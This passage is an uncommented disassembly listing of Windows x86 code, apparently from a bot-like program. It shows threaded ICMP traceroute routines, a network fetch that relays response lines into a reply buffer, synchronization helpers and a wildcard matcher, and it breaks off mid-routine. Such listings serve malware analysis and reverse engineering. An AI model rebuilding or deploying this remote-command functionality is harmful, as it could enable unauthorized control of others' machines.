sub_4098F3+Fj ; sub_4098F3+BCj leave retn sub_4098F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409AD5 proc near ; DATA XREF: sub_409BF1+2Ao var_1A8 = byte ptr -1A8h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A8h push 1A3h push [ebp+arg_0] lea eax, [ebp+var_1A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx cmp dword_41E3C0, 0 jz short loc_409B25 push 10h push dword_41E3C0 push offset dword_4194EC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h jmp short loc_409B3F ; --------------------------------------------------------------------------- loc_409B25: ; CODE XREF: sub_409AD5+30j push offset dword_4194CC lea eax, [ebp+var_1A8] push eax call sub_40D53F pop ecx pop ecx xor eax, eax jmp locret_409BED ; --------------------------------------------------------------------------- loc_409B3F: ; CODE XREF: sub_409AD5+4Ej push offset dword_41E3A8 call sub_409C6C pop ecx and [ebp+var_10], 0 and [ebp+var_4], 0 jmp short loc_409B5B ; --------------------------------------------------------------------------- loc_409B54: ; CODE XREF: sub_409AD5:loc_409BDBj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_409B5B: ; CODE XREF: sub_409AD5+7Dj cmp [ebp+var_4], 10h jge short loc_409BE0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E3C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409BDB push offset dword_41E3A8 call sub_409C7A pop ecx push 3E8h call dword_41709C ; Sleep push offset dword_41E3A8 call sub_409C6C pop ecx mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E3C8 lea eax, [ecx+eax+14h] push eax push [ebp+var_4] push offset dword_4194BC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E3C8 cmp dword ptr [ecx+eax+4], 0 jz short loc_409BDB jmp short loc_409BE0 ; --------------------------------------------------------------------------- loc_409BDB: ; CODE XREF: sub_409AD5+A0j ; sub_409AD5+102j jmp loc_409B54 ; --------------------------------------------------------------------------- loc_409BE0: ; CODE XREF: sub_409AD5+8Aj ; sub_409AD5+104j push offset dword_41E3A8 call sub_409C7A pop ecx xor eax, eax locret_409BED: ; CODE XREF: sub_409AD5+65j leave retn 4 sub_409AD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BF1 proc near ; CODE XREF: sub_40A9CF+AFBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_409C0B jmp short locret_409C34 ; --------------------------------------------------------------------------- loc_409C0B: ; CODE XREF: sub_409BF1+16j push [ebp+arg_0] push [ebp+var_4] call sub_405F67 pop ecx pop ecx push [ebp+arg_0] push offset sub_409AD5 call sub_409479 pop ecx pop ecx test eax, eax jnz short locret_409C34 push [ebp+arg_0] call sub_416B4C ; free pop ecx locret_409C34: ; CODE XREF: sub_409BF1+18j ; sub_409BF1+38j leave retn sub_409BF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C36 proc near ; CODE XREF: sub_405FA3+9p ; sub_40938F+1Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push 18h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch cmp dword_41DF10, 0 jz short loc_409C61 push 80000400h push [ebp+arg_0] call dword_41DF10 ; InitializeCriticalSectionAndSpinCount jmp short loc_409C6A ; --------------------------------------------------------------------------- loc_409C61: ; CODE XREF: sub_409C36+19j push [ebp+arg_0] call dword_4170E4 ; InitializeCriticalSection loc_409C6A: ; CODE XREF: sub_409C36+29j pop ebp retn sub_409C36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C6C proc near ; CODE XREF: sub_406041+10p ; sub_4095A4+Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_4170EC ; RtlEnterCriticalSection pop ebp retn sub_409C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C7A proc near ; CODE XREF: sub_406041+26p ; sub_406041+307p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_41710C ; RtlLeaveCriticalSection pop ebp retn sub_409C7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C88 proc near ; CODE XREF: sub_40332B+10p ; sub_41113B+7EDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xadd [esi], eax pop edi pop esi pop ebx pop ebp retn sub_409C88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C9D proc near ; CODE XREF: sub_4042FB+17p ; sub_4042FB+25p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xchg eax, [esi] pop edi pop esi pop ebx pop ebp retn sub_409C9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CB1 proc near ; CODE XREF: sub_409DD0+202p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 38h call dword_41E3CC mov [ebp+var_1C], eax cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_409CD8 push offset aCouldNotGetAVa ; "Could not get a valid ICMP handle\n" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_409DCE ; --------------------------------------------------------------------------- loc_409CD8: ; CODE XREF: sub_409CB1+13j push 8 push 0 lea eax, [ebp+var_18] push eax call sub_416B6A ; memset add esp, 0Ch mov al, [ebp+arg_8] mov [ebp+var_18], al movzx eax, [ebp+arg_10] push eax call sub_416DD2 pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_C], eax movzx eax, [ebp+arg_10] push eax push 45h push [ebp+var_C] call sub_416B6A ; memset add esp, 0Ch movzx eax, [ebp+arg_10] cmp eax, 8 jge short loc_409D26 mov [ebp+var_38], 8 jmp short loc_409D2D ; --------------------------------------------------------------------------- loc_409D26: ; CODE XREF: sub_409CB1+6Aj movzx eax, [ebp+arg_10] mov [ebp+var_38], eax loc_409D2D: ; CODE XREF: sub_409CB1+73j mov eax, [ebp+var_38] add eax, 1Ch mov [ebp+var_24], eax push [ebp+var_24] call sub_416DD2 pop ecx mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_4], eax push [ebp+arg_C] push [ebp+var_24] push [ebp+var_10] lea eax, [ebp+var_18] push eax movzx ax, [ebp+arg_10] push eax push [ebp+var_C] push [ebp+arg_0] push [ebp+var_1C] call dword_41E3D8 mov [ebp+var_20], eax mov [ebp+var_8], 1 cmp [ebp+var_20], 1 jz short loc_409D8D call dword_417064 ; RtlGetLastWin32Error mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_409DA4 ; --------------------------------------------------------------------------- loc_409D8D: ; CODE XREF: sub_409CB1+CDj mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx] mov [eax+4], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx+8] mov [eax+8], ecx loc_409DA4: ; CODE XREF: sub_409CB1+DAj push [ebp+var_1C] call dword_41E3D4 mov eax, [ebp+var_C] mov [ebp+var_30], eax push [ebp+var_30] call sub_416DCC pop ecx mov eax, [ebp+var_10] mov [ebp+var_34], eax push [ebp+var_34] call sub_416DCC pop ecx mov eax, [ebp+var_8] locret_409DCE: ; CODE XREF: sub_409CB1+22j leave retn sub_409CB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409DD0 proc near ; DATA XREF: sub_40A1A7+FDo var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = dword ptr -2E4h var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = byte ptr -2B0h var_10D = byte ptr -10Dh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2F0h push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2B0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movzx eax, byte_41E3E0 test eax, eax jnz short loc_409E6D push offset aIcmp_dll ; "ICMP.DLL" call dword_417054 ; LoadLibraryA mov dword_41E3D0, eax cmp dword_41E3D0, 0 jnz short loc_409E24 xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E24: ; CODE XREF: sub_409DD0+4Bj push offset aIcmpcreatefile ; "IcmpCreateFile" push dword_41E3D0 call dword_417058 ; GetProcAddress mov dword_41E3CC, eax push offset aIcmpsendecho ; "IcmpSendEcho" push dword_41E3D0 call dword_417058 ; GetProcAddress mov dword_41E3D8, eax push offset aIcmpclosehandl ; "IcmpCloseHandle" push dword_41E3D0 call dword_417058 ; GetProcAddress mov dword_41E3D4, eax mov byte_41E3E0, 1 loc_409E6D: ; CODE XREF: sub_409DD0+32j cmp dword_41E3CC, 0 jnz short loc_409E7D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E7D: ; CODE XREF: sub_409DD0+A4j cmp dword_41E3D8, 0 jnz short loc_409E8D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E8D: ; CODE XREF: sub_409DD0+B4j cmp dword_41E3D4, 0 jnz short loc_409E9D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E9D: ; CODE XREF: sub_409DD0+C4j lea eax, [ebp+var_10D] mov [ebp+var_2B8], eax push [ebp+var_2B8] call dword_417244 ; inet_addr mov [ebp+var_2BC], eax cmp [ebp+var_2BC], 0FFFFFFFFh jnz short loc_409F18 push [ebp+var_2B8] call dword_41723C ; gethostbyname mov [ebp+var_2C0], eax cmp [ebp+var_2C0], 0 jz short loc_409F06 mov eax, [ebp+var_2C0] movsx eax, word ptr [eax+0Ah] push eax mov eax, [ebp+var_2C0] mov eax, [eax+0Ch] push dword ptr [eax] lea eax, [ebp+var_2BC] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_409F18 ; --------------------------------------------------------------------------- loc_409F06: ; CODE XREF: sub_409DD0+10Dj push offset aCouldNotResolv ; "Could not resolve name" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409F18: ; CODE XREF: sub_409DD0+F2j ; sub_409DD0+134j and [ebp+var_4], 0 mov byte ptr [ebp+var_2B4], 1 jmp short loc_409F33 ; --------------------------------------------------------------------------- loc_409F25: ; CODE XREF: sub_409DD0:loc_40A19Cj mov al, byte ptr [ebp+var_2B4] add al, 1 mov byte ptr [ebp+var_2B4], al loc_409F33: ; CODE XREF: sub_409DD0+153j movzx eax, byte ptr [ebp+var_2B4] movzx ecx, [ebp+var_D] cmp eax, ecx jg loc_40A1A1 cmp [ebp+var_4], 0 jnz loc_40A1A1 and [ebp+var_2EC], 0 or [ebp+var_2E4], 0FFFFFFFFh and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 and [ebp+var_2D0], 0 and [ebp+var_2C8], 0 and [ebp+var_2CC], 0 and [ebp+var_2D8], 0 and [ebp+var_2D4], 0 jmp short loc_409F9E ; --------------------------------------------------------------------------- loc_409F91: ; CODE XREF: sub_409DD0:loc_40A04Ej mov eax, [ebp+var_2D4] inc eax mov [ebp+var_2D4], eax loc_409F9E: ; CODE XREF: sub_409DD0+1BFj mov eax, [ebp+var_2D4] cmp eax, [ebp+var_8] jnb loc_40A053 cmp [ebp+var_2D8], 0 jnz loc_40A053 push 20h push [ebp+var_C] push [ebp+var_2B4] lea eax, [ebp+var_2CC] push eax push [ebp+var_2BC] call sub_409CB1 add esp, 14h test eax, eax jz short loc_40A047 cmp [ebp+var_2CC], 0 jnz short loc_40A02F mov eax, [ebp+var_2D0] add eax, [ebp+var_2C4] mov [ebp+var_2D0], eax mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2E4] jnb short loc_40A013 mov eax, [ebp+var_2C4] mov [ebp+var_2E4], eax loc_40A013: ; CODE XREF: sub_409DD0+235j mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2DC] jbe short loc_40A02D mov eax, [ebp+var_2C4] mov [ebp+var_2DC], eax loc_40A02D: ; CODE XREF: sub_409DD0+24Fj jmp short loc_40A045 ; --------------------------------------------------------------------------- loc_40A02F: ; CODE XREF: sub_409DD0+215j mov eax, [ebp+var_2CC] mov [ebp+var_2EC], eax mov [ebp+var_2D8], 1 loc_40A045: ; CODE XREF: sub_409DD0:loc_40A02Dj jmp short loc_40A04E ; --------------------------------------------------------------------------- loc_40A047: ; CODE XREF: sub_409DD0+20Cj xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_40A04E: ; CODE XREF: sub_409DD0:loc_40A045j jmp loc_409F91 ; --------------------------------------------------------------------------- loc_40A053: ; CODE XREF: sub_409DD0+1D7j ; sub_409DD0+1E4j mov eax, [ebp+var_2C8] mov [ebp+var_2E8], eax cmp [ebp+var_2EC], 0 jnz short loc_40A07B mov eax, [ebp+var_2D0] xor edx, edx div [ebp+var_8] mov [ebp+var_2E0], eax jmp short loc_40A090 ; --------------------------------------------------------------------------- loc_40A07B: ; CODE XREF: sub_409DD0+296j and [ebp+var_2E4], 0 and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 loc_40A090: ; CODE XREF: sub_409DD0+2A9j cmp [ebp+var_2EC], 0 jnz loc_40A165 push 2 push 4 lea eax, [ebp+var_2E8] push eax call dword_417220 ; gethostbyaddr mov [ebp+var_2F0], eax cmp [ebp+var_2F0], 0 jz short loc_40A115 movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax mov eax, [ebp+var_2F0] push dword ptr [eax] push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419594 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 2Ch jmp short loc_40A163 ; --------------------------------------------------------------------------- loc_40A115: ; CODE XREF: sub_409DD0+2EBj movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419568 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 28h loc_40A163: ; CODE XREF: sub_409DD0+343j jmp short loc_40A187 ; --------------------------------------------------------------------------- loc_40A165: ; CODE XREF: sub_409DD0+2C7j push [ebp+var_2EC] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419540 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 10h loc_40A187: ; CODE XREF: sub_409DD0:loc_40A163j mov eax, [ebp+var_2BC] cmp eax, [ebp+var_2E8] jnz short loc_40A19C mov [ebp+var_4], 1 loc_40A19C: ; CODE XREF: sub_409DD0+3C3j jmp loc_409F25 ; --------------------------------------------------------------------------- loc_40A1A1: ; CODE XREF: sub_409DD0+170j ; sub_409DD0+17Aj xor eax, eax locret_40A1A3: ; CODE XREF: sub_409DD0+4Fj ; sub_409DD0+A8j ... leave retn 4 sub_409DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A1A7 proc near ; CODE XREF: sub_40A9CF+FAEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h cmp [ebp+arg_4], 0 jnz short loc_40A1C7 push offset unk_419618 push [ebp+arg_0] call sub_40D53F pop ecx pop ecx jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1C7: ; CODE XREF: sub_40A1A7+Aj push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A1E0 jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1E0: ; CODE XREF: sub_40A1A7+32j push 1A3h push [ebp+arg_0] push [ebp+var_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A3h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx cmp eax, 0FFh jg short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_40A231 ; --------------------------------------------------------------------------- loc_40A22A: ; CODE XREF: sub_40A1A7+63j ; sub_40A1A7+73j mov [ebp+var_10], 1Eh loc_40A231: ; CODE XREF: sub_40A1A7+81j mov eax, [ebp+var_4] mov cl, byte ptr [ebp+var_10] mov [eax+2A3h], cl cmp [ebp+arg_C], 0 jz short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx cmp eax, 927C0h jg short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax jmp short loc_40A268 ; --------------------------------------------------------------------------- loc_40A261: ; CODE XREF: sub_40A1A7+9Aj ; sub_40A1A7+AAj mov [ebp+var_14], 7530h loc_40A268: ; CODE XREF: sub_40A1A7+B8j mov eax, [ebp+var_4] mov ecx, [ebp+var_14] mov [eax+2A4h], ecx cmp [ebp+arg_10], 0 jz short loc_40A288 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_18], eax jmp short loc_40A28F ; --------------------------------------------------------------------------- loc_40A288: ; CODE XREF: sub_40A1A7+D1j mov [ebp+var_18], 3 loc_40A28F: ; CODE XREF: sub_40A1A7+DFj mov eax, [ebp+var_4] mov ecx, [ebp+var_18] mov [eax+2A8h], ecx lea eax, [ebp+var_C] push eax push 0 push [ebp+var_4] push offset sub_409DD0 push 0 push 0 call dword_4170B4 ; CreateThread mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A2C7 push [ebp+var_4] call sub_416B4C ; free pop ecx jmp short locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A2C7: ; CODE XREF: sub_40A1A7+113j push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40A2D0: ; CODE XREF: sub_40A1A7+1Bj ; sub_40A1A7+34j ... leave retn sub_40A1A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A2D2 proc near ; CODE XREF: sub_40A4A4+30p var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = byte ptr -1114h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 111Ch call sub_416BC0 mov eax, [ebp+arg_0] add eax, 4 push eax mov eax, [ebp+arg_0] add eax, 104h push eax mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] push offset dword_41966C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F add esp, 14h push 2710h push 0 push offset dword_419668 mov eax, [ebp+arg_0] add eax, 104h push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A339 xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A339: ; CODE XREF: sub_40A2D2+5Ej mov eax, [ebp+arg_0] add eax, 4 push eax push offset dword_419660 lea eax, [ebp+var_114] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_114] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_114] push eax push [ebp+var_8] call sub_4053BF add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A38F push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A38F: ; CODE XREF: sub_40A2D2+ABj push 1000h lea eax, [ebp+var_1114] push eax push [ebp+var_8] call sub_4053DC add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_40A3B5 cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_40A3C5 loc_40A3B5: ; CODE XREF: sub_40A2D2+DBj push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A3C5: ; CODE XREF: sub_40A2D2+E1j lea eax, [ebp+var_1114] mov [ebp+var_10], eax loc_40A3CE: ; CODE XREF: sub_40A2D2:loc_40A492j mov eax, [ebp+var_10] mov [ebp+var_111C], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A3E9 jmp loc_40A497 ; --------------------------------------------------------------------------- loc_40A3E9: ; CODE XREF: sub_40A2D2+110j push [ebp+var_111C] call sub_407B5E pop ecx mov [ebp+var_10], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jz short loc_40A41B push offset dword_418F4C push [ebp+var_111C] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40A442 loc_40A41B: ; CODE XREF: sub_40A2D2+131j mov eax, [ebp+var_111C] lea ecx, [ebp+var_1114] cmp eax, ecx jz short loc_40A440 push offset dword_41965C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A440: ; CODE XREF: sub_40A2D2+157j jmp short loc_40A458 ; --------------------------------------------------------------------------- loc_40A442: ; CODE XREF: sub_40A2D2+147j push [ebp+var_111C] mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A458: ; CODE XREF: sub_40A2D2:loc_40A440j push 3E8h call dword_41709C ; Sleep push offset dword_41E3A8 call sub_409C6C pop ecx mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+4] mov [ebp+var_1118], eax push offset dword_41E3A8 call sub_409C7A pop ecx cmp [ebp+var_1118], 0 jz short loc_40A492 jmp short loc_40A497 ; --------------------------------------------------------------------------- loc_40A492: ; CODE XREF: sub_40A2D2+1BCj jmp loc_40A3CE ; --------------------------------------------------------------------------- loc_40A497: ; CODE XREF: sub_40A2D2+112j ; sub_40A2D2+1BEj push [ebp+var_8] call sub_40538D pop ecx mov al, 1 locret_40A4A2: ; CODE XREF: sub_40A2D2+62j ; sub_40A2D2+B8j ... leave retn sub_40A2D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4A4 proc near ; DATA XREF: sub_40A50E+A1o var_3A8 = dword ptr -3A8h var_2A4 = byte ptr -2A4h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3A8h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_3A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_3A8] push eax call sub_40A2D2 pop ecx movzx eax, al test eax, eax jnz short loc_40A4FC lea eax, [ebp+var_2A4] push eax push offset dword_419698 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40A4FC: ; CODE XREF: sub_40A4A4+3Bj push [ebp+var_3A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40A4A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A50E proc near ; CODE XREF: sub_40A9CF+FE3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_40A51D jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A51D: ; CODE XREF: sub_40A50E+8j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A536 jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A536: ; CODE XREF: sub_40A50E+21j push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A562 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40A586 ; --------------------------------------------------------------------------- loc_40A562: ; CODE XREF: sub_40A50E+3Dj push offset dword_4196D4 mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_4] add eax, 104h push eax call sub_4105FB pop ecx loc_40A586: ; CODE XREF: sub_40A50E+52j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4196B4 push 0 push [ebp+var_4] push offset sub_40A4A4 call sub_4095A4 add esp, 18h locret_40A5BC: ; CODE XREF: sub_40A50E+Aj ; sub_40A50E+23j leave retn sub_40A50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5BE proc near ; CODE XREF: sub_40A5BE+32p ; sub_40A5BE+70p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A603 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A5DD mov al, 1 jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5DD: ; CODE XREF: sub_40A5BE+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A5FC mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5FC: ; CODE XREF: sub_40A5BE+28j xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A603: ; CODE XREF: sub_40A5BE+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A614 xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A614: ; CODE XREF: sub_40A5BE+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A63A mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A63A: ; CODE XREF: sub_40A5BE+64j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A65B mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A65B: ; CODE XREF: sub_40A5BE+85j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69E mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A67C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A687 loc_40A67C: ; CODE XREF: sub_40A5BE+B1j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69A loc_40A687: ; CODE XREF: sub_40A5BE+BCj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69A: ; CODE XREF: sub_40A5BE+C7j xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69E: ; CODE XREF: sub_40A5BE+A6j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A6E7 and [ebp+var_4], 0 jmp short loc_40A6B6 ; --------------------------------------------------------------------------- loc_40A6AF: ; CODE XREF: sub_40A5BE:loc_40A6E5j mov eax, 